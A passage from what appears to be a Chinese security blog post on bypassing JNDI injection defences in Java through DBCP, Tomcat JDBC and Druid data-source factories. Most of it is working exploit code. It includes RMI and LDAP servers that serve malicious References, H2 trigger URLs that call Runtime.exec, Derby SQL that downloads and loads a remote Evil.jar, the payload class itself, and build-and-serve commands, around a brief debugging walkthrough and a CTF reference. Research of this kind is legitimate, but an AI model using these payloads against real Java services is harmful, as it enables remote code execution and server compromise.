dbcp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import com.sun.xml.internal.ws.api.ha.StickyFeature; import org.apache.naming.ResourceRef;
import javax.naming.Reference; import javax.naming.StringRefAddr; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class ldapbypass { private static Reference dbcpByFactory(String factory){ Reference ref = new Reference("javax.sql.DataSource",factory,null); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('calc')\n" + "$$\n"; ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username","root")); ref.add(new StringRefAddr("password","password")); ref.add(new StringRefAddr("initialSize","1")); return ref; } private static Reference tomcat_dbcp2_RCE(){ return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory"); } private static Reference tomcat_dbcp1_RCE(){ return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory"); } private static Reference commons_dbcp2_RCE(){ return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory"); } private static Reference commons_dbcp1_RCE(){ return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory"); } public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry( 1099); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ldapbypass.tomcat_dbcp2_RCE()); registry.bind("remoteObj", referenceWrapper); }
}
|
这里有四个dbcp的,上面代码用的tomcat的,复现的时候需要给项目加依赖,我加的是本地tomcat安装目录的bin和lib目录的依赖
换成org.apache.commons.dbcp.BasicDataSourceFactory的需要加依赖
1 2 3 4 5
| <dependency> <groupId>commons-dbcp</groupId> <artifactId>commons-dbcp</artifactId> <version>1.4</version> </dependency>
|
如果没有上面的四个dbcp的依赖,还有tomcat的 tomcat-jdbc.jar 的 org.apache.tomcat.jdbc.pool.DataSourceFactory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private static Reference tomcat_JDBC_RCE(){ return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory"); } private static Reference dbcpByFactory(String factory){ Reference ref = new Reference("javax.sql.DataSource",factory,null); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('calc')\n" + "$$\n"; ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username","root")); ref.add(new StringRefAddr("password","password")); ref.add(new StringRefAddr("initialSize","1")); return ref; }
|
Druid
主要参考: https://xz.aliyun.com/t/10656
poe.xml
1 2 3 4 5 6 7 8 9 10 11 12
| <dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.2.21</version> </dependency> <dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <version>1.4.197</version> </dependency> </dependencies>
|
原理也是本地classpath,这里用的DruidDataSourceFactory的getObjectIntance方法调用h2数据库来JDBC攻击进而RCE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| import com.sun.jndi.rmi.registry.ReferenceWrapper; import org.apache.naming.ResourceRef;
import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.StringRefAddr; import java.rmi.AlreadyBoundException; import java.rmi.Naming; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class bypass2 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { try{ Registry registry = LocateRegistry.createRegistry(1099); Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null); String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" + "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" + "java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" + "$$\n"; String JDBC_USER = "root"; String JDBC_PASSWORD = "password";
ref.add(new StringRefAddr("driverClassName","org.h2.Driver")); ref.add(new StringRefAddr("url",JDBC_URL)); ref.add(new StringRefAddr("username",JDBC_USER)); ref.add(new StringRefAddr("password",JDBC_PASSWORD)); ref.add(new StringRefAddr("initialSize","1")); ref.add(new StringRefAddr("init","true")); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
Naming.bind("rmi://localhost:1099/remoteObj",referenceWrapper); } catch(Exception e){ e.printStackTrace(); } } }
|
开始调试:
断点下在一个lookup一个DruidDataSourceFactory的getObjectIntance()方法
首先判断一下ref.getClassName()的值进到else语句,先通过for循环遍历所有属性把我们设置的四个值传进properties变量,然后进入createDataSourceInternal()方法
新建一个DruidDataSource()对象,为它调用config()函数
config函数首先会调用很长的get函数获取属性值然后调用dataSource的setter来赋值
我们直接看到最后:
我们传入的init是true进入init()函数
然后进入createPhysicalConnection()函数
然后走到this.createPhysicalConnection(url, physicalConnectProperties);
这里connect建立数据库连接,然后RCE
弹出计算器
第二届N1CTF Junior的Derby
这里最后的RCE是考h2的数据库JDBC来RCE的,我们不局限于h2这一种数据库,比如derby数据库,这里可以参考第二届N1CTF Junior的Derby
1 2 3 4 5 6 7 8 9 10
| <dependency> <groupId>com.alibaba</groupId> <artifactId>druid</artifactId> <version>1.2.21</version> </dependency> <dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.8.16</version> </dependency>
|
关于Derby的RCE: http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
我们可以发现通过 Derby SQL 加载远程 jar, 再调用 jar 内的方法, 实现 RCE
执行sql的点在 DruidDataSourceFactory的initConnectionSqls变量里,我们用分号分割多条sql语句,然后利用ldap直接把序列化的字符串返回给客户端
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| import cn.hutool.core.util.SerializeUtil; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference; import javax.naming.StringRefAddr; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import java.net.InetAddress; import java.util.ArrayList; import java.util.List;
public class test3 { private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] args) {
int port = 1389;
try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor()); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch (Exception e) { e.printStackTrace(); } }
private static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base);
e.addAttribute("javaClassName", "foo"); try { List<String> list = new ArrayList<>(); list.add("CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8000/Evil.jar', 'APP.Evil', 0)"); list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')"); list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'"); list.add("CALL cmd('calc')");
Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null); ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true")); ref.add(new StringRefAddr("init", "true")); ref.add(new StringRefAddr("initialSize", "1")); ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));
e.addAttribute("javaSerializedData", SerializeUtil.serialize(ref));
result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } catch (Exception exception) { exception.printStackTrace(); } } } }
|
Evil.java
1 2 3 4 5
| public class Evil { public static void exec(String cmd) throws Exception { Runtime.getRuntime().exec(cmd); } }
|
编译打包
1 2 3
| javac src/Evil.java jar -cvf Evil.jar -C src/ . python -m http.server 8000
|
==注意: 这种方法只能实现一次,第二次由于之前已经下载了这个数据库,所以添加的list可以注释掉前三行,只留下list.add("CALL cmd('calc')");
执行命令即可,或者也可以删除数据库清空缓存==